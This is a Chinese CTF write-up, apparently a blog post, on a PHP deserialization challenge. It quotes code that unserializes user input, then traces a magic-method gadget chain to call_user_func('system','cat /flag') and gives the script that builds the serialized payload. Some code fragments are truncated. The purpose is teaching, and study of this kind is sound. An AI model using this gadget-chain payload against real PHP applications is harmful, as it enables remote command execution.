对方朝你扔过来一串代码(当然这次又是蹭的题只说过程和思路):
age,'');
}
}
class AAA{
public $debug;
public function __invoke(){
echo $this->debug;
}
public function __toString(){
return $this->debug;
}
}
class B{
public $func;
public $arg;
public function backdoor(){
call_user_func($this->func,$this->arg."");
}
}
class BBB{
public $kkk;
public $lll;
public function __toString(){
$this->kkk->backdoor();
return "ok";
}
}
if(isset($_GET['a'])){
unserialize($_GET['a']);
}
好的,一眼又是我们的php反序列化,开审之前我们先复习复习我们的php中的魔术方法,建议先去看一遍我先前的一篇文章:
shutTD的CTF之旅WEB篇(2)--NewStarCTF 公开赛UnserializeOne详解_shutTD的博客-CSDN博客
好的复习完成,我们继续我们的反序列化,首先第一步找出我们的目标函数,也就是这个 call_user_func()函数,这个函数可以执行任意代码,详情使用的方法建议直接去查,在这我们的最终目的就是要执行到call_user_func('system','cat /flag') (至于为什么直接执行cat /flag,问就是经验哈哈,不过还是可以通过ls等命令查看找出flag的位置)
在A类中发现__destruct(),所以这就是我们的入口,因此我们第一步实例化一个A的对象:
$res = new A();
跟进__destruct():
public function __destruct(){
call_user_func($this->age,'');
}
call_user_func($this->age,'')即执行age类的某个方法,所以我们很自然的想到__invoke()方法,所以我们在AAA类中发现该方法,因此我们的第二步就是:
$res->age = new AAA();
跟进__invoke():
public function __invoke(){
echo $this->debug;
}
看到echo我们直接想到能够触发__toString()方法,所以我们在BBB类中发现有__toString()方法,因此我们第三步就是:
$res->age->debug = new BBB();
跟进__toString():
public function __toString(){
$this->kkk->backdoor();
return "ok";
}
发现调用了kkk属性的backdoor()方法,我们搜索一下哪个类中有此方法,在B类中我们发现此方法且刚好我们的目标函数就在这其中,马上就快到终点了,所以我们第四步就是:
$res->age->debug->kkk = new B();
因为我们需要达到call_user_func('system','cat /flag'),所以我们的类B中属性应为:
class B{
public $func = 'system';
public $arg = 'cat /flag';
public function backdoor(){
call_user_func($this->func,$this->arg."");
}
}
好的大功告成,开始编写脚本:
age=new AAA();
$res->age->debug=new BBB();
$res->age->debug->kkk=new B();
echo serialize($res);
直接参数a等于序列化字符get提交即可获取flag啦!
总的来说这道题思路还是很清晰的,是算偏易的题了不过新手拿来练手还是可以的逻辑很清晰,建议看完这篇文章后自己再试着做一遍哦!